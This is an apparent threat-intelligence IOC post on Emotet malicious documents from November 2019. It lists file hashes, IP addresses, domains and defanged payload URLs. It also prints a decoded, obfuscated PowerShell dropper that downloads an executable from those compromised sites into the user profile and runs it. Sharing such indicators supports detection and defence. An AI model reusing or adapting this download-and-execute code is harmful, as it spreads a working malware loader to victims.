Emotet_Doc_out_2019-11-02_17_45.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
5530dd44a68abf23a1a96a698b6a6265
b0f5b83ed27dde1c0f30cd1701173608
e2c83ddac7314b94a5bffbbef718c2e2
46f66fc29e92138286009aaf3ece9633
599d343dc13a0c0899fd9f7eb732da84
599d343dc13a0c0899fd9f7eb732da84
c6c12e6e5a55206e60f847d6082f9aa6
c6c12e6e5a55206e60f847d6082f9aa6
d15bb2d3e1f3ed33e376da1c474531d9
d15bb2d3e1f3ed33e376da1c474531d9
d78c11f762d57e09210a1613bffe0f63
d78c11f762d57e09210a1613bffe0f63
9af6552d4936870dc260b76a26d3ac34
87a05b1c8832f176e18b6f85146db3c6
9a47971cb3b0ad94c45966867cd27806
f26bbd97d3ef630c0b3d0591bbad287b
af1650ffa4a6def3e9b1921168037991
c1efc25578095366c83600fde8c5c497
f841b3322510cf68181d5254edec6f7f


IPs:
104.31.70.84
104.31.71.84
166.62.10.28
185.104.45.162
65.182.101.179
92.53.96.232


Domains:
foodwaydelivery.com
invisio-new.redstone.studio
royalbluebustour.com
sm-n.ru
stoeltje.com


URLs:
hxxp://foodwaydelivery.com/all-backup/wp-admin/oa5hfhw/
hxxp://royalbluebustour.com/wp-admin/oqjbod/
hxxp://sm-n.ru/wp-includes/eTCOWfxoe/
hxxp://invisio-new.redstone.studio/wp-content/ybeq/
hxxp://stoeltje.com/AdventuresInBabysitting/l8rn/


Decoded Base64 Powershell:
$Qgxbzbieqrrx='Irxpoxjkowz';
$Wpxifjsilvrqc = '890';
$Ckgyxfynsnxv='Gqnmyuddta';
$Waazouqp=$env:userprofile+'\'+$Wpxifjsilvrqc+'.exe';
$Kfsacchqb='Tznquykrsj';
$Glmodecoxsyda=.('new-'+'o'+'bjec'+'t') NET.weBCLIENt;
$Fmctosxtdci='hxxp://foodwaydelivery.com/all-backup/wp-admin/oa5hfhw/
hxxp://royalbluebustour.com/wp-admin/oqjbod/
hxxp://sm-n.ru/wp-includes/eTCOWfxoe/
hxxp://invisio-new.redstone.studio/wp-content/ybeq/
hxxp://stoeltje.com/AdventuresInBabysitting/l8rn/'."sp`lit"('
');
$Xjnyaozr='Svsvskuoxj';
foreach($Muyiwcipde in $Fmctosxtdci){try{$Glmodecoxsyda."dO`WnlO`ADfILE"($Muyiwcipde, $Waazouqp);
$Umkdifiju='Curpdgbcpf';
If ((.('G'+'et'+'-Item') $Waazouqp)."LENG`Th" -ge 26372) {[Diagnostics.Process]::"S`TART"($Waazouqp);
$Xzgzwelndtoa='Guiwqwjqbavrh';
break;
$Lymgsfiyj='Kyybdppkvig'}}catch{}}$Kihyfefwogru='Vqxvzjzllrzx'